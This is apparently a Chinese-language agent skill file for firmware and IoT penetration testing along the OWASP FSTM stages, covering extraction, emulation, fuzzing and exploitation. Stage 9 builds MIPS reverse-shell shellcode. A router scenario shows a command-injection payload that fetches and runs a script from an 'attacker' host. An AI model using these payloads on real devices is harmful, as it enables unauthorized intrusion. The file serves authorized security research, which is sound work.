| name | firmware-pentest |
| description | 固件 / IoT 渗透链。从拿到一坨 .bin / .img 开始，闭环走完逆向 → 提取 → 模拟 → 利用。
方法论遵循 OWASP FSTM 九阶段；工具链以 binwalk v3、unblob、EMBA、Firmadyne、AFL++ 为主。
适用场景：路由器/摄像头/智能家居固件审计、固件升级包逆向、IoT CVE 复现、嵌入式 0day 挖掘。
触发关键词：固件、firmware、IoT、binwalk、unblob、UART、JTAG、squashfs、UBI、JFFS2、Firmadyne、QEMU 全系统仿真、EMBA、固件渗透、路由器固件、嵌入式漏洞利用、bootloader、NVRAM、FAT、firmware analysis toolkit。
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固件 / IoT 渗透链 (Firmware Pentest)
适用范围
下列任务进入本 skill：
- 拿到一份固件文件（.bin / .img / .trx / .chk / OTA zip），需要从零到 RCE
- 路由器/摄像头/IoT 设备审计 — 需要批量发现已知 CVE 和未公开漏洞
- 加密/打包固件，需要找 bootloader 解密例程或硬件 dump
- 需要在不接触硬件的情况下跑起来（QEMU 全系统仿真 / Firmadyne / FAT）
- 对仿真起来的服务做 fuzz（AFL++ qemu mode / boofuzz）
- 硬件接口接入（UART / JTAG / SPI flash dump）
与其他 skill 分工
| 场景 | 用什么 |
|---|
| 从零拿到固件，全链路走 FSTM | 本 skill |
| 只做单个 ELF/so 静态逆向 | reverse-engineering/、ida-reverse/、radare2/ |
| 仿真起来后做 Web/RCE 利用 | pentest-tools/、attack-chain/ |
| 硬件接口（UART/JTAG/SPI）实操 | 本 skill 的 Stage 2 章节 + patterns-hardware.md |
| APK / Android 固件（含 boot.img） | apk-reverse/（先剥 boot.img 再用本 skill） |
| 跨版本固件符号迁移 | binary-diff/ |
核心原理
固件 .bin
│
├─ Stage 1-3: 信息收集 / 获取 / 静态分析（不解压也能看的部分）
│
├─ Stage 4: 提取文件系统 ← binwalk v3 / unblob / jefferson / ubi_reader
│ │
│ └─ 失败 → 找 bootloader 解密例程 / UART dump / SPI flash 硬件读
│
├─ Stage 5: 文件系统静态分析 ← EMBA 自动化 + 手工 grep
│
├─ Stage 6: 模拟运行 ← Firmadyne / FAT / qemu-user-static + chroot
│
├─ Stage 7-8: 动态 / 运行时分析 ← gdb-multiarch、IDA 远程调试、Ghidra
│
└─ Stage 9: 二进制利用 ← AFL++ fuzz / 手工 PoC / ARM / MIPS payload
关键判断：
- 提取失败不等于固件加密，先把 binwalk v2、binwalk v3、unblob、jefferson、ubi_reader 全跑一遍
- EMBA 一行命令出 HTML 报告，能省 80% 体力，剩 20% 是真正的漏洞挖掘
- 仿真起不来时优先怀疑 NVRAM 缺失、网卡名错配、
/dev/ 节点缺失
- ARM / MIPS payload 必须区分大小端（mipsel vs mipseb），别用错
OWASP FSTM 九阶段工作流
Stage 1 — 信息收集（Information Gathering）
收集型号、芯片、SDK、已公开 CVE。
curl -s "https://fccid.io/?q=$FCC_ID"
echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"
输出：芯片型号、SDK 来源（SDK 决定 binwalk 能否一把成功）。
Stage 2 — 获取固件（Obtaining Firmware）
四条路：官网下载、OTA 抓包、UART 落 shell 后 dump、SPI flash 物理读。
mitmdump -s save_response.py
picocom -b 115200 /dev/ttyUSB0
flashrom -p ch341a_spi -r dump.bin
Stage 3 — 分析固件（Analyzing Firmware）
不解压先看头部、熵、字符串、可识别签名。
binwalk firmware.bin
binwalk -E firmware.bin
strings -n 8 firmware.bin | less
file firmware.bin
hexdump -C firmware.bin | head -64
Stage 4 — 提取文件系统（Extracting Filesystem）
详见 references/extraction-methodology.md。
binwalk -eM firmware.bin
unblob -d out/ firmware.bin
jefferson rootfs.jffs2 -d rootfs/
ubireader_extract_files rootfs.ubi
Stage 5 — 静态分析文件系统（Filesystem Analysis）
EMBA 一键扫，详见 references/emba-automated-analysis.md。
sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba
手工补：
grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"
checksec --file=squashfs-root/usr/sbin/httpd
Stage 6 — 模拟运行（Emulating Firmware）
详见 references/emulation-and-fuzz.md。
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd
sudo fat.py firmware.bin
Stage 7 — 动态分析（Dynamic Analysis）
仿真起来后挂调试器、抓流量、跑 fuzz。
qemu-mipsel-static -g 1234 ./vuln_binary
gdb-multiarch ./vuln_binary -ex "target remote :1234"
echo "把 Firmadyne 仿真出来的 IP 设为 Burp upstream proxy 目标"
Stage 8 — 运行时分析（Runtime Analysis）
在真实硬件上挂调试器，或者仿真态做覆盖率制导 fuzz。
AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@
Stage 9 — 二进制利用（Exploitation）
写 PoC，生成 payload，落地 root shell。
python3 -c "
from pwn import *
context.arch = 'mips'
context.endian = 'little'
print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())
" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin
ropper --file squashfs-root/usr/sbin/httpd --search "system"
典型场景示例
场景 1：普通路由器固件全链路（TP-Link / 小米路由器 / OpenWrt 衍生）
固件: router_v1.2.3.bin（未加密 squashfs）
目标: 找 Web 管理界面未授权 RCE 并复现
Step 1 信息收集
- FCC ID 反查 → MT7621 + MT7615 + 16MB flash
- 已公开 CVE：CVE-2023-xxxxx（chk 头校验缺陷）
Step 2 获取固件
- 官网下载 .bin，sha256 与已知样本对比
Step 3 分析
- binwalk → 检出 uImage + squashfs-xz
- 熵图 → squashfs 段熵 ~0.95（正常压缩）
Step 4 提取
- binwalk -eM router_v1.2.3.bin
- 得到 squashfs-root/ 完整根文件系统
Step 5 EMBA 扫
- 报告里高危：lighttpd 1.4.45（CVE-2018-19052）+ busybox 1.27.2 多 CVE
- 自家二进制：/usr/sbin/cgibin 含 system() 直拼字符串
Step 6 仿真
- sudo fat.py router_v1.2.3.bin
- 仿真起来 IP 192.168.0.1，Web 可访问
Step 7-8 动态
- Burp 抓 /cgi-bin/luci 系列接口
- 发现 hostname 参数直拼 system
Step 9 利用
- 构造 hostname=`;wget http://attacker/x;sh x;`
- 仿真态成功反弹 shell
- 真机复测通过 → 提报 SRC
场景 2：加密固件（找 bootloader 解密例程）
固件: encrypted_fw.bin（binwalk 全空白 + 熵 ~0.99）
Step 1 判断是否真加密
- 熵全段 ~0.99 且无任何 magic → 大概率加密或纯压缩
- 头部前 256 字节 hexdump → 看是否有 vendor header
Step 2 拿到 bootloader
- UART 启动时按键进 U-Boot
- md.b 0x80000000 0x1000 # 读内存
- 或 SPI flash 物理读取整片 → 含 U-Boot 段
Step 3 逆 U-Boot 找解密例程
- 用 reverse-engineering skill（IDA / Ghidra）
- 入口 board_init_r → 找 do_bootm 前的 image_decrypt
- 通常是 AES-128-CBC，key 硬编在 .rodata
Step 4 离线解密
openssl enc -d -aes-128-cbc \
-K $(cat key.hex) \
-iv $(cat iv.hex) \
-in encrypted_fw.bin \
-out decrypted.bin
Step 5 回到 Stage 4 重新走标准流程
- binwalk decrypted.bin → 看到 squashfs
- 后续与场景 1 相同
兜底
- bootloader 也加密 → 找 SoC 一级 ROM 文档
- SoC 有安全启动 → 看公开 fault injection / glitch 资料
注意事项
- 大小端：MIPS 路由器常见 mipsel（小端，MT 系列）/ mipseb（大端，Broadcom 系列），qemu binary 别用错
- NVRAM：仿真起来 httpd 立即崩 → 90% 是 nvram_get 拿不到值，Firmadyne 有 libnvram hook，FAT 默认带
- EMBA 不是银弹：跑出来一堆 CVE 别全信，要核对版本字符串和实际利用条件
- AFL++ qemu mode 慢：先用 afl-clang-lto 重编译目标（如果有源码），快 5-10 倍
- 真机操作前先 dump：物理设备砖前必备整片 flash dump，用 flashrom / ch341a / minipro
- 法律边界：自家设备、SRC 授权、CTF、公开靶机才能搞，企业生产设备需要书面授权
- field-journal 回写：每完成一个固件，记录芯片型号、SDK、binwalk 是否成功、仿真是否成功，下次同系列直接复用
按需自举（On-Demand Bootstrap）
工具清单
| 工具 | 用途 | 自动安装 |
|---|
| binwalk v3 | 主提取（Rust 重写版） | ✓ |
| binwalk v2 | 兼容老插件 | ✓ |
| unblob | 兜底提取 | ✓ |
| jefferson | JFFS2 提取 | ✓ |
| ubi_reader | UBI / UBIFS 提取 | ✓ |
| EMBA | 自动化分析框架 | ✓ |
| Firmadyne | 全系统仿真 | ✓ |
| FAT (Firmware Analysis Toolkit) | Firmadyne 封装 | ✓ |
| qemu-user-static | 用户态仿真 | ✓ |
| qemu-system-* | 全系统仿真 | ✓ |
| AFL++ | 模糊测试 | ✓ |
| pwntools | 漏洞利用脚本 | ✓ |
| flashrom | SPI flash 读写 | ✓ |
| picocom | UART 串口 | ✓ |
安装命令
sudo apt update && sudo apt install -y \
binwalk python3-pip qemu-user-static qemu-system-mips qemu-system-arm \
gdb-multiarch picocom flashrom build-essential libssl-dev
cargo install binwalk
pip3 install --user unblob jefferson ubi_reader pwntools
git clone https://github.com/e-m-b-a/emba.git ~/tools/emba
cd ~/tools/emba && sudo ./installer.sh -d
git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne
cd ~/tools/firmadyne && sudo ./download.sh
git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat
git clone https://github.com/AFLplusplus/AFLplusplus ~/tools/aflpp
cd ~/tools/aflpp && make distrib && sudo make install
Windows 用户
固件渗透链强依赖 Linux 工具，建议：
- WSL2 Ubuntu 22.04（足够大多数场景）
- 或独立 Kali / Ubuntu 虚拟机
- EMBA 必须 Linux，Firmadyne / FAT 必须 Linux
路由上下文
上游入口: skills/SKILL.md（总控）、routing.md
触发条件: 任务涉及固件文件、IoT 设备、嵌入式漏洞挖掘、路由器审计
下游出口:
- 单个二进制深度静态分析 →
reverse-engineering/、ida-reverse/、radare2/
- 仿真起来后做 Web RCE / 后渗透 →
pentest-tools/、attack-chain/
- 跨版本固件符号迁移 →
binary-diff/
- 硬件接口实操参考 →
patterns-hardware.md
- APK / boot.img 处理 →
apk-reverse/
同级关联: pentest-tools/（Web 利用阶段配合）、attack-chain/（跨阶段攻击链规划）
参考文档:
references/extraction-methodology.md — 提取细节与失败兜底references/emba-automated-analysis.md — EMBA 全流程references/emulation-and-fuzz.md — 仿真 + fuzz 实战
